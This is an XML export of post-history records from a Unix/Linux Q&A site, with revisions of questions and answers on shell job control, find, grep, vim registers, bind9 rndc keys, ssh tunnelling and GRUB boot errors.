  <row Id="34034" PostHistoryTypeId="2" PostId="13635" RevisionGUID="dc381197-64b4-4cd5-bbac-e8e4134ed14a" CreationDate="2011-05-23T14:17:22.857" UserId="138" Text="&lt;kbd&gt;Ctrl-Z&lt;/kbd&gt; does in fact stop the current foreground program, but it has nothing to do with the terminal emulator. It is handled by the shell you are currently running. The original shells for Unix didn't have this feature, so you might find that you are missing it on some systems, say a minimal embedded version of Linux booted into single user mode.&#xD;&#xA;&#xD;&#xA;&lt;kbd&gt;Ctrl-S&lt;/kbd&gt; doesn't necessarily stop the current foreground program at all. All it does is request that the OS's terminal code temporarily stop sending data to your terminal. The program is actually still running, and in fact as long as it doesn't fill any output buffers, it won't even get blocked on a system call. The &lt;kbd&gt;Ctrl-S&lt;/kbd&gt; terminal output pause feature is an ancient *de facto* standard dating back to the days of teletypes, and is supported in all Unixy operating systems by convention, but it it can be disabled (`stty -ixon`) or rebound to something else. Text editors and other programs often do the latter, for example.&#xD;&#xA;&#xD;&#xA;You can see further differences in how you restart things after stopping. &lt;kbd&gt;Ctrl-Q&lt;/kbd&gt; restarts terminal output after a &lt;kbd&gt;Ctrl-S&lt;/kbd&gt;, while restarting a process stopped with &lt;kbd&gt;Ctrl-Z&lt;/kbd&gt; requires a `fg` command to the controlling shell." />
  <row Id="34035" PostHistoryTypeId="17" PostId="13637" RevisionGUID="cacf5e78-d3cb-4fdc-83f1-ec646c196e4a" CreationDate="2011-05-23T14:36:20.897" UserId="-1" Comment="from http://stackoverflow.com/questions/6098296/is-there-a-bash-command-for-copying-all-files-from-a-directory-tree-and-putting-a/6098317#6098317" Text="" />
  <row Id="34036" PostHistoryTypeId="2" PostId="13637" RevisionGUID="7ab839f7-075f-4940-a113-c5c442e45ae6" CreationDate="2011-05-23T14:07:16.420" UserDisplayName="awoodland" Text="    find . -type f -execdir mv {} /my/dest/path/ \;&#xD;&#xA;&#xD;&#xA;***Warning*** if you have file name clashes this will lose some of the files with repeated names." />
  <row Id="34037" PostHistoryTypeId="2" PostId="13636" RevisionGUID="e26541c0-8665-42b7-9c83-05e222f83d8d" CreationDate="2011-05-23T14:05:01.400" UserDisplayName="Jono" Text="I have a ton of notes categorized into folders, but I think it might be better to put them all into one folder instead. Is there an easy way to do that? " />
  <row Id="34038" PostHistoryTypeId="1" PostId="13636" RevisionGUID="e26541c0-8665-42b7-9c83-05e222f83d8d" CreationDate="2011-05-23T14:05:01.400" UserDisplayName="Jono" Text="Is there a BASH command for copying all files from a directory tree and putting all the files in a single directory?" />
  <row Id="34039" PostHistoryTypeId="3" PostId="13636" RevisionGUID="e26541c0-8665-42b7-9c83-05e222f83d8d" CreationDate="2011-05-23T14:05:01.400" UserDisplayName="Jono" Text="élinuxàébashà" />
  <row Id="34040" PostHistoryTypeId="17" PostId="13636" RevisionGUID="f5a3b011-dbef-4c39-a856-45c4a0338c1a" CreationDate="2011-05-23T14:36:20.897" UserId="-1" Comment="from http://stackoverflow.com/questions/6098296/is-there-a-bash-command-for-copying-all-files-from-a-directory-tree-and-putting-a" Text="" />
  <row Id="34041" PostHistoryTypeId="2" PostId="13638" RevisionGUID="cede542e-2d99-46c8-9e51-713829939f68" CreationDate="2011-05-23T14:51:36.217" UserId="912" Text="I dont think grep -i is exponentially (wrt to the number of characters to be grepped) more costly (time wise) than a normal grep because the run times are not too different.&#xD;&#xA;&#xD;&#xA;But theoretically it should be. For example&#xD;&#xA;&#xD;&#xA;    egrep -i abc *&#xD;&#xA;&#xD;&#xA;translates to&#xD;&#xA;&#xD;&#xA;    egrep &quot;abc|abC|aBc|aBC|Abc|AbC|ABc|ABC&quot; *&#xD;&#xA;&#xD;&#xA;How do utilities like grep avoid the exponential time in case insensitive queries? Is there a case insensitive comparison operator that Unix inherently supports that such utilities can use?" />
  <row Id="34042" PostHistoryTypeId="1" PostId="13638" RevisionGUID="cede542e-2d99-46c8-9e51-713829939f68" CreationDate="2011-05-23T14:51:36.217" UserId="912" Text="How costly is case insensitive search as compared to case sensitive search?" />
  <row Id="34043" PostHistoryTypeId="3" PostId="13638" RevisionGUID="cede542e-2d99-46c8-9e51-713829939f68" CreationDate="2011-05-23T14:51:36.217" UserId="912" Text="élinuxàégrepà" />
  <row Id="34044" PostHistoryTypeId="5" PostId="13635" RevisionGUID="0e9f8c65-f394-4dfb-ab6b-9c9d8f9fc6f6" CreationDate="2011-05-23T14:51:47.217" UserId="4319" Comment="Linked an answer with more details about the history." Text="&lt;kbd&gt;Ctrl-Z&lt;/kbd&gt; does in fact stop the current foreground program, but it has nothing to do with the terminal emulator. It is handled by the shell you are currently running. The original shells for Unix didn't have this feature, so you might find that you are missing it on some systems, say a minimal embedded version of Linux booted into single user mode.&#xD;&#xA;&#xD;&#xA;&lt;kbd&gt;Ctrl-S&lt;/kbd&gt; doesn't necessarily stop the current foreground program at all. All it does is request that the OS's terminal code temporarily stop sending data to your terminal. The program is actually still running, and in fact as long as it doesn't fill any output buffers, it won't even get blocked on a system call. The &lt;kbd&gt;Ctrl-S&lt;/kbd&gt; terminal output pause feature is an ancient *de facto* standard [dating back to the days of teletypes](http://unix.stackexchange.com/questions/12107/how-to-unfreeze-after-accidentally-pressing-ctrl-s-in-a-terminal/12146#12146), and is supported in all Unixy operating systems by convention, but it it can be disabled (`stty -ixon`) or rebound to something else. Text editors and other programs often do the latter, for example.&#xD;&#xA;&#xD;&#xA;You can see further differences in how you restart things after stopping. &lt;kbd&gt;Ctrl-Q&lt;/kbd&gt; restarts terminal output after a &lt;kbd&gt;Ctrl-S&lt;/kbd&gt;, while restarting a process stopped with &lt;kbd&gt;Ctrl-Z&lt;/kbd&gt; requires a `fg` command to the controlling shell." />
  <row Id="34045" PostHistoryTypeId="24" PostId="13635" RevisionGUID="0e9f8c65-f394-4dfb-ab6b-9c9d8f9fc6f6" CreationDate="2011-05-23T14:51:47.217" Comment="Proposed by 4319 approved by 885 edit id of 391" />
  <row Id="34046" PostHistoryTypeId="6" PostId="385" RevisionGUID="b137eba8-345d-4a05-8013-4fe06f6dec8f" CreationDate="2011-05-23T14:58:20.343" UserId="885" Comment="edited tags" Text="ébashàécommandölineàéosxàéioöredirectionà" />
  <row Id="34047" PostHistoryTypeId="2" PostId="13639" RevisionGUID="b8886284-f270-4d1f-978e-48e6d707ec24" CreationDate="2011-05-23T14:59:23.933" UserId="4485" Text="An i-match between abC and aBc can easily be done, if &quot;abC&quot; is transformed to lowercase (once), and every input like &quot;aBc&quot; is translated to lowercase too. Than normal matching.&#xD;&#xA;&#xD;&#xA;But maybe it is done, just by ignoring some bits. 'A' is 65, and 'a' is 97. The difference is 32, a power of 2, so it can easily be masked. Even 'ä' (228) and 'Ä' (196) have a difference of 32, but I'm not sure whether it holds for all characters in extended ASCII." />
  <row Id="34048" PostHistoryTypeId="5" PostId="13609" RevisionGUID="68db51ae-1d44-4eb7-a3e6-16ae7bde9f81" CreationDate="2011-05-23T15:09:43.747" UserId="2180" Comment="deleted 8 characters in body" Text="You need to sort by the last field (considering `/` as a field separator). Unfortunately, I can't think of a tool that can do this when the number of fields varies (if only `sort -k` could take negative values).&#xD;&#xA;&#xD;&#xA;To get around this, you'll have to do a decorate-sort-undecorate. That is, take the filename and put it at the beginning followed by a field separator, then do a sort, then remove the first column and field separator.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    find . ! -path &quot;./build*&quot; -name &quot;*.txt&quot; |\&#xD;&#xA;        awk -vFS=/ -vOFS=/ '{ print $NF,$0 }' |\&#xD;&#xA;        sort -n -t / |\&#xD;&#xA;        cut -f2- -d/&#xD;&#xA;&#xD;&#xA;That `awk` command says the *field separator* `FS` is set to `/`; this affects the way it reads fields. The *output field separator* `OFS` is also set to `/`; this affects the way it prints records. The next statement says print the last column (`NF` is the number of fields in the record, so it also happens to be the index of the last field) as well as the whole record (`$0` is the whole record); it will print them with the OFS between them. Then the list is `sort`ed, treating `/` as the field separator - since we have the filename first in the record, it will sort by that. Then the `cut` prints only fields 2 through the end, again treating `/` as the field separator." />
  <row Id="34049" PostHistoryTypeId="25" PostId="13636" RevisionGUID="e7799fda-9229-4ac5-b6cf-a61764214f1f" CreationDate="2011-05-23T15:12:36.153" Comment="http://twitter.com/#!/StackUnix/status/72681336934121472" />
  <row Id="34050" PostHistoryTypeId="2" PostId="13640" RevisionGUID="b31b44b4-2bf1-4f0c-9579-69a9352cdfe1" CreationDate="2011-05-23T15:15:09.600" UserId="7572" Text="`tsocks` allows multiple SOCKS services, you set it up to use a different SOCKS service (i.e. different `ssh -D` listening on a different port) for each desired target. `man tsocks.conf` for more details.&#xD;&#xA;&#xD;&#xA;assuming `/etc/tsocks.conf` containing:&#xD;&#xA;&#xD;&#xA;    path {&#xD;&#xA;    	server = localhost&#xD;&#xA;    	server_port = 1081&#xD;&#xA;    	reaches = &lt;ip-address-of-server-b&gt;/32&#xD;&#xA;    	}&#xD;&#xA;    path {&#xD;&#xA;    	server = localhost&#xD;&#xA;    	server_port = 1082&#xD;&#xA;    	reaches = &lt;ip-address-of-server-d&gt;/32&#xD;&#xA;    	}&#xD;&#xA;&#xD;&#xA;Then you would run&#xD;&#xA;&#xD;&#xA;    ssh -fND :1081 server-a &amp; sleep 1 ; tsocks ssh server-b&#xD;&#xA;    ssh -fND :1082 server-c &amp; sleep 1 ; tsocks ssh server-d&#xD;&#xA;&#xD;&#xA;" />
  <row Id="34051" PostHistoryTypeId="2" PostId="13641" RevisionGUID="4b42e364-1f1c-43f0-b099-0ef23f4af62c" CreationDate="2011-05-23T15:15:59.150" UserId="4485" Text="I would use files '-printf' to output name and path, sort by name, and cutoff the name in a last step. '###' is just a marker, to help cutting.&#xD;&#xA;&#xD;&#xA;    find -name &quot;*.txt&quot; -printf &quot;%f###%p\n&quot; | sort -n | sed 's/.*###//'&#xD;&#xA;&#xD;&#xA;%f prints the filename, %p the whole path.&#xD;&#xA;&#xD;&#xA;I simplified the find-command to get it into one line, of course you would leave the `! -path &quot;./build*&quot;` part.&#xD;&#xA;" />
  <row Id="34052" PostHistoryTypeId="5" PostId="13638" RevisionGUID="c714424d-f48d-401a-9b23-4dc8b32489dc" CreationDate="2011-05-23T16:01:11.763" UserId="912" Comment="added 3 characters in body" Text="I dont think grep -i is exponentially (wrt to the number of characters to be grepped) more costly (time wise) than a normal grep because the run times are not too different.&#xD;&#xA;&#xD;&#xA;But theoretically it should be. For example&#xD;&#xA;&#xD;&#xA;    egrep -i abc *&#xD;&#xA;&#xD;&#xA;is equivalent to&#xD;&#xA;&#xD;&#xA;    egrep &quot;abc|abC|aBc|aBC|Abc|AbC|ABc|ABC&quot; *&#xD;&#xA;&#xD;&#xA;How do utilities like grep avoid the exponential time in case insensitive queries? Is there a case insensitive comparison operator that Unix inherently supports that such utilities can use?" />
  <row Id="34053" PostHistoryTypeId="2" PostId="13642" RevisionGUID="33b32046-2abb-447c-a00a-50097aa5570c" CreationDate="2011-05-23T16:06:07.310" UserId="7607" Text="I am a newbie on vim. How to select register +? Like for &quot;+y, should I simply hit key &quot;(shift '), +(shift =), y in sequence... Basically I have problems following instructions below to copy/paste text from vim to another vim.&#xD;&#xA;&#xD;&#xA;    In the vim, highlight, select + register, and yank (save) to it:&#xD;&#xA;    Shift-v&#xD;&#xA;    &quot;+y&#xD;&#xA;    &#xD;&#xA;    In the second vim, select + register, and paste from it:&#xD;&#xA;    &quot;+p&#xD;&#xA;&#xD;&#xA;It does not work for me... I am using red hat and vim in x11 terminal.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="34054" PostHistoryTypeId="1" PostId="13642" RevisionGUID="33b32046-2abb-447c-a00a-50097aa5570c" CreationDate="2011-05-23T16:06:07.310" UserId="7607" Text="How to select register in vim (in X11)" />
  <row Id="34055" PostHistoryTypeId="3" PostId="13642" RevisionGUID="33b32046-2abb-447c-a00a-50097aa5570c" CreationDate="2011-05-23T16:06:07.310" UserId="7607" Text="évimà" />
  <row Id="34056" PostHistoryTypeId="2" PostId="13643" RevisionGUID="c75ec99e-af03-4c84-98b8-928425b02ee7" CreationDate="2011-05-23T16:32:52.927" UserId="7701" Text="Your examples use the `+` register. To use the `?` register, simply use the same commands, replacing the `+` with `?`.&#xD;&#xA;&#xD;&#xA;for example:&#xD;&#xA;&#xD;&#xA;    &quot;?y&#xD;&#xA;    &quot;?p&#xD;&#xA;&#xD;&#xA;If you're trying to paste between instances of vim using the system clipboard, you'll want to prepend a `g` to your commands, thus&#xD;&#xA;&#xD;&#xA;    &quot;+gy&#xD;&#xA;    &quot;+gp" />
  <row Id="34057" PostHistoryTypeId="5" PostId="13642" RevisionGUID="48075297-2e70-4b71-b51f-c0c543a2f277" CreationDate="2011-05-23T16:51:02.173" UserId="73" Comment="added 129 characters in body; edited title" Text="How can I select the `+` register? I have problems following the instructions below to copy/paste text from vim to another vim:&#xD;&#xA;&#xD;&#xA;    In the vim, highlight, select + register, and yank (save) to it:&#xD;&#xA;    Shift-v&#xD;&#xA;    &quot;+y&#xD;&#xA;    &#xD;&#xA;    In the second vim, select + register, and paste from it:&#xD;&#xA;    &quot;+p&#xD;&#xA;&#xD;&#xA;I think I'm pressing the wrong keys. When it says `&quot;+y`, do I simply hit the keys &lt;kbd&gt;&quot;&lt;/kbd&gt;, &lt;kbd&gt;+&lt;/kbd&gt;, &lt;kbd&gt;y&lt;/kbd&gt; in sequence? (That is, &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;'&lt;/kbd&gt;, &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;=&lt;/kbd&gt;, &lt;kbd&gt;y&lt;/kbd&gt;). It does not work for me.&#xD;&#xA;&#xD;&#xA;I am using Red Hat and vim in an X11 terminal.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="34058" PostHistoryTypeId="4" PostId="13642" RevisionGUID="48075297-2e70-4b71-b51f-c0c543a2f277" CreationDate="2011-05-23T16:51:02.173" UserId="73" Comment="added 129 characters in body; edited title" Text="How to copy from one vim instance to another using registers" />
  <row Id="34059" PostHistoryTypeId="5" PostId="13635" RevisionGUID="abdf67e6-e681-4bfc-95e4-822a14f0808c" CreationDate="2011-05-23T16:52:35.850" UserId="138" Comment="clarity" Text="&lt;kbd&gt;Ctrl-Z&lt;/kbd&gt; does in fact stop the current foreground program, but it has nothing to do with the terminal emulator. It is handled by the shell you are currently running. The original shells for Unix didn't have this feature, so you might find that you are missing it on some systems, say a minimal embedded version of Linux booted into single user mode.&#xD;&#xA;&#xD;&#xA;&lt;kbd&gt;Ctrl-S&lt;/kbd&gt; doesn't necessarily stop the current foreground program at all. All it does is request that the OS's terminal code temporarily stop sending data to your terminal. The program is actually still running, and in fact as long as it doesn't fill any output buffers, it won't even get blocked on a system call. The &lt;kbd&gt;Ctrl-S&lt;/kbd&gt; terminal output pause feature is an ancient *de facto* standard [dating back to the days of teletypes](http://unix.stackexchange.com/questions/12107/how-to-unfreeze-after-accidentally-pressing-ctrl-s-in-a-terminal/12146#12146), and is supported in all Unixy operating systems by convention, but it it can be disabled (`stty -ixon`) or rebound to something else. Text editors and other interactive programs often rebind &lt;kbd&gt;Ctrl-S&lt;/kbd&gt;, for example.&#xD;&#xA;&#xD;&#xA;You can see further differences in how you restart things after stopping. &lt;kbd&gt;Ctrl-Q&lt;/kbd&gt; restarts terminal output after a &lt;kbd&gt;Ctrl-S&lt;/kbd&gt;, while restarting a process stopped with &lt;kbd&gt;Ctrl-Z&lt;/kbd&gt; requires a `fg` command to the controlling shell." />
  <row Id="34060" PostHistoryTypeId="2" PostId="13644" RevisionGUID="bfde7e61-a5ba-4da2-ab32-d826db4af5b4" CreationDate="2011-05-23T17:02:57.317" UserId="1170" Text="I found no way to make `du` report just the total of a set of files, without the files itself.&#xD;&#xA;&#xD;&#xA;You can use `tail` to cut the last line (the total) from the output of `du`:&#xD;&#xA;&#xD;&#xA;    du -c *.sql | tail -n 1" />
  <row Id="34061" PostHistoryTypeId="2" PostId="13645" RevisionGUID="d8fdeda0-f2ff-4e5a-9c7a-180cbda656cd" CreationDate="2011-05-23T17:08:21.553" UserId="6802" Text="Yesterday, I noticed an error in a bind zone file, and after correcting it, I tried to restart bind9, but the service refused to stop, displaying this error:&#xD;&#xA;&#xD;&#xA;    rndc: connect failed: 127.0.0.1#953: connection refused&#xD;&#xA;&#xD;&#xA;I found a lot of references to this error message, with no obvious fixes, but there were a lot of references to rndc.key and rndc-confgen. I noticed that the date on the existing rndc.key was exactly one year from the day before I had this problem. I knew I hadn't restarted bind in the meantime, so I thought that the key had expired. I generated a new key with rndc-confgen -a. I had to force a restart, as I couldn't stop the bind service; since then, bind has been working fine&#xD;&#xA;&#xD;&#xA;The obvious conclusion is that rndc.key expires after a year. I have not found this mentioned in the man pages or documentation for bind9 that I've checked, and I would think it was an important point if true. Can anyone confirm if this is the standard, or if there's some way to configure the expiration date?" />
  <row Id="34062" PostHistoryTypeId="1" PostId="13645" RevisionGUID="d8fdeda0-f2ff-4e5a-9c7a-180cbda656cd" CreationDate="2011-05-23T17:08:21.553" UserId="6802" Text="Do rndc keys expire after a year?" />
  <row Id="34063" PostHistoryTypeId="3" PostId="13645" RevisionGUID="d8fdeda0-f2ff-4e5a-9c7a-180cbda656cd" CreationDate="2011-05-23T17:08:21.553" UserId="6802" Text="édnsà" />
  <row Id="34064" PostHistoryTypeId="6" PostId="13645" RevisionGUID="0e0ed38c-1ebb-40be-bdd9-7de499c439d8" CreationDate="2011-05-23T17:18:38.983" UserId="73" Comment="edited tags" Text="édnsàébindàérndcà" />
  <row Id="34065" PostHistoryTypeId="5" PostId="13642" RevisionGUID="8173a9cc-80c8-4769-8191-b278a56f901e" CreationDate="2011-05-23T17:23:13.377" UserId="7607" Comment="added 91 characters in body; added 10 characters in body" Text="How can I select the `+` register? I have problems following the instructions below to copy/paste text from vim to another vim:&#xD;&#xA;&#xD;&#xA;    In the vim, highlight, select + register, and yank (save) to it:&#xD;&#xA;    Shift-v&#xD;&#xA;    &quot;+y&#xD;&#xA;    &#xD;&#xA;    In the second vim, select + register, and paste from it:&#xD;&#xA;    &quot;+p&#xD;&#xA;&#xD;&#xA;I think I'm pressing the wrong keys. When it says `&quot;+y`, do I simply hit the keys &lt;kbd&gt;&quot;&lt;/kbd&gt;, &lt;kbd&gt;+&lt;/kbd&gt;, &lt;kbd&gt;y&lt;/kbd&gt; in sequence? (That is, &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;'&lt;/kbd&gt;, &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;=&lt;/kbd&gt;, &lt;kbd&gt;y&lt;/kbd&gt;). It does not work for me.&#xD;&#xA;&#xD;&#xA;I am using Red Hat and vim in an X11 terminal. And vim version is &#xD;&#xA;&#xD;&#xA;    $vim --version | grep xterm_clipboard&#xD;&#xA;    -xterm_clipboard -xterm_save&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="34066" PostHistoryTypeId="2" PostId="13646" RevisionGUID="d8f1dfb8-738d-499c-beac-2b90023e7f2a" CreationDate="2011-05-23T17:28:35.630" UserId="4949" Text="&quot;Connection refused&quot; means that the port wasn't open, so bind wasn't actually listening at that address on that port. Whatever the reason for it, it likely wasn't an expired key of any kind." />
  <row Id="34067" PostHistoryTypeId="2" PostId="13647" RevisionGUID="7d8f7f03-3cbb-4d22-a273-90faa6c299ab" CreationDate="2011-05-23T17:35:18.060" UserId="1946" Text="What could cause `file(1)` command to output `application/msword application/msword` (yes, twice in a row) as the mime type for _some_ of the .doc files?  Normally it prints just `application/msword`.&#xD;&#xA;&#xD;&#xA;If run without `--mime` it prints `Microsoft Office Document` on both 'normal' and 'special' .doc files.&#xD;&#xA;" />
  <row Id="34068" PostHistoryTypeId="1" PostId="13647" RevisionGUID="7d8f7f03-3cbb-4d22-a273-90faa6c299ab" CreationDate="2011-05-23T17:35:18.060" UserId="1946" Text="What could cause strange behavior in file(1) command?" />
  <row Id="34069" PostHistoryTypeId="3" PostId="13647" RevisionGUID="7d8f7f03-3cbb-4d22-a273-90faa6c299ab" CreationDate="2011-05-23T17:35:18.060" UserId="1946" Text="éfilesàémimeötypesàémagicà" />
  <row Id="34070" PostHistoryTypeId="5" PostId="13620" RevisionGUID="9b40cfba-3bbe-4c36-ae07-4627fb2600a8" CreationDate="2011-05-23T17:48:56.807" UserId="6960" Comment="added 49 characters in body" Text="https://addons.mozilla.org/en-US/firefox/addon/facebookblocker/&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;So are there any ways to block facebook.com outside the facebook.com domain?&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;I need a souliton that's not &quot;webbrowser related&quot; - no Add-on, so e.g.: a Privoxy rule.&lt;br&gt;&#xD;&#xA;It would still not work on HTTPS sites, only on HTTP, ok, but I still need this rule, but I don't have a clue what it is. Does anybody has?&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;Thank you!&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;UPDATE&lt;br&gt;&#xD;&#xA;on a desktop PC/Fedora 15" />
  <row Id="34071" PostHistoryTypeId="5" PostId="13620" RevisionGUID="b75240ce-d8e9-4e2c-afcf-a30f8a819dbe" CreationDate="2011-05-23T18:00:17.550" UserId="6960" Comment="added 155 characters in body" Text="https://addons.mozilla.org/en-US/firefox/addon/facebookblocker/&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;So are there any ways to block facebook.com outside the facebook.com domain?&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;I need a souliton that's not &quot;webbrowser related&quot; - no Add-on, so e.g.: a Privoxy rule.&lt;br&gt;&#xD;&#xA;It would still not work on HTTPS sites, only on HTTP, ok, but I still need this rule, but I don't have a clue what it is. Does anybody has?&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;Thank you!&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;UPDATE&lt;br&gt;&#xD;&#xA;on a desktop PC/Fedora 15&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;So I don't want to block facebook.com. I just don't want that that e.g.: if there is a foo.org that has a &lt;a href=facebook.com.... URL to work." />
  <row Id="34072" PostHistoryTypeId="25" PostId="13645" RevisionGUID="9fbe1981-15f0-4a11-addd-2a8356d9e85a" CreationDate="2011-05-23T18:12:36.693" Comment="http://twitter.com/#!/StackUnix/status/72726639028604928" />
  <row Id="34078" PostHistoryTypeId="17" PostId="13651" RevisionGUID="a3270c1c-067b-4c9b-b347-3d51d62ff51c" CreationDate="2011-05-23T18:17:01.137" UserId="-1" Comment="from http://stackoverflow.com/questions/6092643/blocking-a-port-that-is-ssh-tunneled/6092771#6092771" Text="" />
  <row Id="34079" PostHistoryTypeId="17" PostId="13652" RevisionGUID="8b8fceeb-b0ba-44ee-8aab-18c7a0e3498e" CreationDate="2011-05-23T18:17:01.137" UserId="-1" Comment="from http://stackoverflow.com/questions/6092643/blocking-a-port-that-is-ssh-tunneled/6092812#6092812" Text="" />
  <row Id="34080" PostHistoryTypeId="2" PostId="13651" RevisionGUID="d0ca2dd9-49aa-495d-8b27-3fcffad810a5" CreationDate="2011-05-23T04:16:29.450" UserDisplayName="Free Bullets" Text="Configure the VNC server to only accept connections from your IP." />
  <row Id="34081" PostHistoryTypeId="2" PostId="13652" RevisionGUID="be2f46be-45a4-44a2-a6eb-9edc12674a83" CreationDate="2011-05-23T04:25:08.697" UserId="6766" Text="I use `vncserver -localhost [other options here]` when I start the `vncserver` on my debian boxes.  This means VNC only accepts connections from the loopback of the remote machine.&#xD;&#xA;" />
  <row Id="34082" PostHistoryTypeId="2" PostId="13650" RevisionGUID="3b5f127c-2dc5-4a16-ae3e-01a7a878ea56" CreationDate="2011-05-23T03:51:45.113" UserDisplayName="Christopher Dorian" Text="Since I use vnc through an ssh tunnel, is there any way I can block the open vnc port that the remote machine is listening on without it affecting my ability to use the ssh tunnel?  Both machines are linux debian based." />
  <row Id="34083" PostHistoryTypeId="1" PostId="13650" RevisionGUID="3b5f127c-2dc5-4a16-ae3e-01a7a878ea56" CreationDate="2011-05-23T03:51:45.113" UserDisplayName="Christopher Dorian" Text="Blocking a port that is ssh tunneled" />
  <row Id="34084" PostHistoryTypeId="3" PostId="13650" RevisionGUID="3b5f127c-2dc5-4a16-ae3e-01a7a878ea56" CreationDate="2011-05-23T03:51:45.113" UserDisplayName="Christopher Dorian" Text="élinuxàénetworkingàésshàévncà" />
  <row Id="34085" PostHistoryTypeId="17" PostId="13650" RevisionGUID="dd046eb9-376e-4131-9838-893031e8dfa1" CreationDate="2011-05-23T18:17:01.137" UserId="-1" Comment="from http://stackoverflow.com/questions/6092643/blocking-a-port-that-is-ssh-tunneled" Text="" />
  <row Id="34089" PostHistoryTypeId="2" PostId="13653" RevisionGUID="40797630-7757-46ee-babc-9aaa82aaa3fd" CreationDate="2011-05-23T18:20:30.247" UserId="7704" Text="Besides Steven's list, [Gnome Do][1], [Beagle][2].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://packages.ubuntu.com/natty/gnome-do&#xD;&#xA;  [2]: http://packages.ubuntu.com/lucid/beagle" />
  <row Id="34090" PostHistoryTypeId="17" PostId="13655" RevisionGUID="2c9724b7-afcd-4df7-bdb3-793b05c4cb2d" CreationDate="2011-05-23T18:26:44.057" UserId="-1" Comment="from http://stackoverflow.com/questions/6101170/i-deleted-files-from-my-linux-boxs-boot-directory-and-now-it-wont-boot/6101199#6101199" Text="" />
  <row Id="34091" PostHistoryTypeId="17" PostId="13656" RevisionGUID="c1a25a4d-ea71-4e8d-8139-76c45fe76e35" CreationDate="2011-05-23T18:26:44.057" UserId="-1" Comment="from http://stackoverflow.com/questions/6101170/i-deleted-files-from-my-linux-boxs-boot-directory-and-now-it-wont-boot/6101212#6101212" Text="" />
  <row Id="34092" PostHistoryTypeId="2" PostId="13655" RevisionGUID="1996cf95-4303-4203-9a6e-06d278d6e2a7" CreationDate="2011-05-23T18:18:13.613" UserDisplayName="Hyperboreus" Text="Well Error 15 reads &quot;File not found&quot;.&#xD;&#xA;Restore your /boot from your last backup." />
  <row Id="34093" PostHistoryTypeId="2" PostId="13656" RevisionGUID="68927cc0-0388-4f6e-90bb-969d34ba0112" CreationDate="2011-05-23T18:19:46.547" UserDisplayName="locke cole" Text="You can try to reinstall grub, I think that recreates the boot folder.  Not too sure though, but it can't hurt..." />
  <row Id="34094" PostHistoryTypeId="2" PostId="13654" RevisionGUID="36ec7af7-e3b5-4acb-ac0c-276de09dbc40" CreationDate="2011-05-23T18:14:55.177" UserId="7591" Text="I did that to save space.&#xD;&#xA;&#xD;&#xA;Now I see GRUB loading, please wait ... ERROR 15&#xD;&#xA;&#xD;&#xA;on boot.&#xD;&#xA;&#xD;&#xA;/boot still has files corresponding to 2.6.32-27 version of Linux. But I deleted all others that did not have that string in /boot&#xD;&#xA;&#xD;&#xA;What can I do ?" />
  <row Id="34095" PostHistoryTypeId="1" PostId="13654" RevisionGUID="36ec7af7-e3b5-4acb-ac0c-276de09dbc40" CreationDate="2011-05-23T18:14:55.177" UserId="7591" Text="I deleted files from my Linux box's /boot directory and now it won't boot" />
  <row Id="34096" PostHistoryTypeId="3" PostId="13654" RevisionGUID="36ec7af7-e3b5-4acb-ac0c-276de09dbc40" CreationDate="2011-05-23T18:14:55.177" UserId="7591" Text="élinuxàéubuntuàébootà" />
  <row Id="34097" PostHistoryTypeId="17" PostId="13654" RevisionGUID="bcc6b988-9cfd-4969-b940-7301a527e89c" CreationDate="2011-05-23T18:26:44.057" UserId="-1" Comment="from http://stackoverflow.com/questions/6101170/i-deleted-files-from-my-linux-boxs-boot-directory-and-now-it-wont-boot" Text="" />
  <row Id="34098" PostHistoryTypeId="5" PostId="13654" RevisionGUID="a752b92b-a1c2-411e-8558-5f8b7c93508f" CreationDate="2011-05-23T18:31:19.977" UserId="73" Comment="added 35 characters in body" Text="I deleted files from `/boot` to save space, but now when I boot I see:&#xD;&#xA;&#xD;&#xA;&gt; GRUB loading, please wait ... ERROR 15&#xD;&#xA;&#xD;&#xA;`/boot` still has files corresponding to the 2.6.32-27 version of Linux. But I deleted all others that did not have that string in /boot&#xD;&#xA;&#xD;&#xA;How can I fix this?" />
  <row Id="34099" PostHistoryTypeId="2" PostId="13657" RevisionGUID="2f486f30-2e04-49f6-a404-4b9675ff0861" CreationDate="2011-05-23T18:47:02.783" UserId="7703" Text="In your comment you clarify:&#xD;&#xA;&#xD;&#xA;&gt; I'm actually looking for a single step option to ps or pgrep (or similar) which only outputs &quot;active&quot; processes...&#xD;&#xA;&#xD;&#xA;I'm afraid you're out of luck with current ps/pgrep implementations.&#xD;&#xA;&#xD;&#xA;&gt; Post filtering like this relies on a full understanding of the intial output, which I don't have...&#xD;&#xA;&#xD;&#xA;But you _can_ get that understanding and, better yet, control that output as desired.  Try something like this:&#xD;&#xA;&#xD;&#xA;    $ function pgrep_live {&#xD;&#xA;    &gt;   pids=$(pgrep &quot;$1&quot;);&#xD;&#xA;    &gt;   [ &quot;$pids&quot; ] || return;&#xD;&#xA;    &gt;   ps -o s= -o pid= $pids | sed -n 's/^[^ZT][[:space:]]\+//p';&#xD;&#xA;    &gt; }&#xD;&#xA;&#xD;&#xA;That will return the pids for any pgrep'd processes matching your input string, which processes are *&quot;available for normal use,&quot;* that is, neither dead+unreaped (**Z**) nor stopped (**T**)." />
